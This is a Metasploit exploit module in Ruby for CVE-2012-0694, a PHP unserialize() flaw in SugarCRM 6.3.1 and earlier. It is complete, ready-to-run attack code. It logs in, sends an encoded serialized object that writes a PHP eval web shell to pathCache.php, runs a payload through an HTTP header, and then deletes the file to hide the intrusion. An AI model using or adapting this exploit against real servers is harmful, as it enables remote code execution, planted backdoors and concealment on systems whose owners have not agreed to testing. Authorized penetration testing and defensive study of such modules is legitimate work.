SugarCRM 6.3.1 unserialize() PHP Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution',  
'Description' => %q{  
This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1  
which could be abused to allow authenticated SugarCRM users to execute arbitrary  
code with the permissions of the webserver.  
  
The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'  
script, which is called with user controlled data from the 'current_query_by_page'  
parameter. The exploit abuses the __destruct() method from the SugarTheme class  
to write arbitrary PHP code to a 'pathCache.php' on the web root.  
},  
'Author' =>  
[  
'EgiX', # Vulnerability discovery and PoC  
'juan vazquez', # Metasploit module  
'sinn3r' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2012-0694' ],  
[ 'EDB', '19381' ],  
[ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Targets' => [ ['Automatic', { }], ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 23 2012'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]),  
OptString.new('USERNAME', [true, "The username to authenticate with" ]),  
OptString.new('PASSWORD', [true, "The password to authenticate with" ])  
], self.class)  
end  
  
  
def on_new_session(client)  
if client.type == "meterpreter"  
f = "pathCache.php"  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
begin  
client.fs.file.rm(f)  
print_good("#{@peer} - #{f} removed to stay ninja")  
rescue  
print_error("#{@peer} - Unable to remove #{f}")  
end  
end  
end  
  
def exploit  
base = target_uri.path  
base << '/' if base[-1, 1] != '/'  
  
@peer = "#{rhost}:#{rport}"  
username = datastore['USERNAME']  
password = datastore['PASSWORD']  
  
# Can't use vars_post because it'll escape "_"  
data = "module=Users&"  
data << "action=Authenticate&"  
data << "user_name=#{username}&"  
data << "user_password=#{password}"  
  
res = send_request_cgi(  
{  
'uri' => "#{base}index.php" ,  
'method' => "POST",  
'headers' =>  
{  
'Cookie' => "PHPSESSID=1",  
},  
'data' => data  
})  
  
if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie']  
print_error("#{@peer} - Login failed with \"#{username}:#{password}\"")  
return  
end  
  
if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/  
session_id = $1  
else  
print_error("#{@peer} - Login failed with \"#{username}:#{password}\" (No session ID)")  
return  
end  
  
print_status("#{@peer} - Login successful with #{username}:#{password}")  
  
data = "module=Contacts&"  
data << "Contacts2_CONTACT_offset=1&"  
data << "current_query_by_page="  
#O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";}  
data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30="  
  
print_status("#{@peer} - Exploiting the unserialize()")  
  
res = send_request_cgi(  
{  
'uri' => "#{base}index.php",  
'method' => 'POST',  
'headers' =>  
{  
'Cookie' => "PHPSESSID=#{session_id};",  
},  
'data' => data  
})  
  
if not res or res.code != 200  
print_error("#{@peer} - Exploit failed: #{res.code}")  
return  
end  
  
print_status("#{@peer} - Executing the payload")  
  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => "#{base}pathCache.php",  
'headers' => {  
'Cmd' => Rex::Text.encode_base64(payload.encoded)  
}  
})  
  
if res  
print_error("#{@peer} - Payload execution failed: #{res.code}")  
return  
end  
  
end  
end  
`